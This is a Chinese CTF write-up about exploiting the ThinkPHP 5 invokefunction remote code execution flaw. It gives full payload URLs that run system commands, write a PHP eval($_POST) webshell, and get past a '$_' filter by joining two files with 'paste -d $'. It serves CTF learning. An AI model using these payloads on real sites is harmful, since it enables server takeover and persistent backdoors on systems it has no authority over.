题目给了提示:
https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce
照上面的POC做就能在phpinfo中找到flag,此处不再赘述。
拿到flag之后我想通过这个payload拿一波webshell,故使用以下POC写一句话,先创建一个php文件:
http://xxxxxxxxx/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=touch fuck.php
然后用echo写入一句话:
http://xxxxxxxxxxx/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['cmd']);?>">>fuck.php
蚁剑连接发现失败,浏览器访问这个一句话看看怎么回事:
发现$_POST被过滤掉了,经过测试,只要检测到$_这样的字符串,其后面的字符会被过滤掉一部分,具体的正则我没多做测试,再试试echo "<?php @eval(POST['cmd']);?>">>fuck.php:
POST没有被过滤,说明过滤的只是$_
百度了一下,决定使用paste命令绕过这个过滤。具体执行方式如下:
先创建一个a.php,其内容如下:
再创建一个b.php,其内容如下:
这时我们使用带-d参数的paste命令:
http://xxxxxxxx7/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=paste -d $ a.php b.php > c.php
再来看看c.php的内容:
成功写进了一句话,蚁剑连接成功:
本次解锁新姿势,不需要base64编码,但是需要支持system,同时系统得有paste命令才行。
------------end------------